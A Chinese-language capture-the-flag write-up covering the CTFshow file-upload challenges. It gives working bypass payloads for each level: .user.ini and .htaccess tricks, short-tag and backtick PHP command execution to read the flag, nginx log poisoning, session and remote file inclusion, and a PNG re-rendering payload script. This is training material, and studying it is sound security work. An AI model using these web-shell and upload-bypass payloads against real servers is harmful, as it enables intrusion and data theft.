CTFSHOW-文件上传
最后更新时间:
前台校验
前段代码有限制文件后缀为png文件,抓包修改即可,里面写一句话木马
后端不能单一校验
这关应该就是前段验证后缀+后端验证Content-Type,思路和上一关一致
后端不能单一校验
沿用上一关思路,会出现
文件上传失败,失败原因:文件类型不合规
这一关考察上传.user.ini文件绕过
使用前提:
因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以
upload/index.php存在,那么就可以利用.user.ini文件包含一个一句话木马
1
2.user.ini
auto_prepend_file=1.png
<img src="./CTF-SHOW 文件上传做题记录/image-20220904105848600.png" alt="image-20220904105848600" style="zoom:50%;" />
<img src="./CTF-SHOW 文件上传做题记录/image-20220904105958782.png" alt="image-20220904105958782" style="zoom:50%;" />
后端不能单二校验
这一关检测的是上传文件内容中不能包含
<(.*)php
所以更换简约的php标签
1
2
3
4
5
6
7
81. 条件:short_open_tags=on
<? xxx ?>
2. 无条件
<?= xxx ?>
3. 条件: 开启配置参数asp_tags=on 且php版本 < 7.0
<% xxx %>
4. 条件:php版本 < 7.0
<script language="php">xxx</script>不过依然会检验php后缀,所以还是得上传一个.user.ini
后端不能单三校验
可以继续打
后端不能单四校验
这关对
[]
有过滤,这里可以利用{}
来绕过后端不能单五校验
过滤了{}和分号
我们已经知道了flag.php的位置在
../flag.php
所以直接输出1
<?= system('more ../fl*') ?>
同理
后端不能单六校验
过滤了括号,直接用反引号执行系统命令
1
<?= `more ../fla*` ?>
日志包含
过滤了括号反引号还有一些关键字
这一关我们不再能直接去上传一个内容中包含恶意代码的文件了,因为过滤的太多。思路转变为在日志中被动写入恶意代码。我们在一些请求头中携带的参数都会出现在日志当中,而后端并未对着一部分的内容作校验,所以可以实现绕过。那么如何能在upload目录下得到日志文件的内容呢?继续用.user.ini的作用包含日志文件的内容。
题目的中间件平台为nginx服务器,所以日志文件为
/var/log/nginx/access.log
,而log
关键字被过滤了,我们采用字符串拼接的方式来绕过1
2
3<?=include"/va"."r/lo"."g/ngi"."nx/a"."ccess".".l"."og"?>
空格也过滤啦!!
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
增加了文件头检查
在上一关的基础上加入文件头
session文件包含
https://www.freebuf.com/vuls/202819.html
总结一下利用条件:
- 需要已知session文件存储路径,且内容可控(这一部分主要靠php的配置 + cookie)
- 需要存在功能点来包含session文件的内容到可以访问的文件
- 有文件上传时才会出现session文件
对于条件一,我们参考链接的思路;对于条件二,利用.usr.ini文件配合;对于条件三自然不必说
首先上传.user.ini来将session文件内容包含到/upload/index.php中
超了,这关把
.
也给过滤了,或者直接对session文件进行包含也可以
贴一下学习的exp,主要是多线程和文件上传的运用
1 |
|
线程数要开的大一点
这一关其实和大多数wp描述的不同。首先限制了访问流量,导致无法通过条件竞争的方式来将session文件包含。这里采取了.user.ini文件上传+远程文件包含的方式。我在include中请求一个远程的服务器地址,而回显的结果如果包含php代码的话则会在本地去执行。
首先针对ip的绕过,一般的ip地址是以点号分割的,而我们这关已经把点号给过滤了。但是可以将其转换成整数的形式https://www.bejson.com/convert/ip2int/
针对返回php代码,这里起一个flask服务,返回php代码
png二次渲染
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
原理:在图片中的可允许修改部分添加恶意代码(具体依据不同图片格式的结构),最后重新计算CRC校验并修改
直接脚本小子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'/Users/racerz/Desktop/2.png');
?>
jpg二次渲染
1
caused by PHP functions imagecopyresized() and imagecopyresampled().
1 |
|
特别说明,脚本生效需要经过二次渲染之后才可进行修改,并且并不是所有的jpg图片都可以成功
天知道我尝试了多少次….
zip文件上传
但好像是只做了文件类型MIME检验
那就直接修改包内容类型为application/x-zip-compressed
即可
文件上传 httpd
前端有检验只允许上传jpg文件
根据httpd提示可知这是.htaccess文件中的一个配置,所以直接使用.htaccess文件上传
payload
1
2
3
4
5
6# .htaccess文件配置
AddType application/x-httpd-php .jpg
# 或者
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>之后上传含有恶意php代码的jpg文件即可
文件上传 基础免杀
这里应该就是针对命令执行语句的过滤吧,如果被过滤了的话就直接访问返回404了
这题刚开始试不出来,去wp里翻到了源码
1
2
3
4
5
6
7
8
9
10
11# 对文件类型的处理
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
// nnd,原来是上传到了upload文件夹里
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}
# 对文件内容的处理
preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
所以其实没啥,没过滤反引号和echo,直接输出就行
1
<?php echo `tac ../fl*`; ?>
文件上传 高级免杀
前端限制为zip,后端限制了MIME为png
过滤了
<?
,沿用日志包含的思路先上传.user.ini
1
auto_prepend_file=/var/log/nginx/access.log
后上传一个php文件,用来包含日志文件并在访问时解析其中的恶意代码
文件上传 终极免杀
虽说终极,但是和上一题同理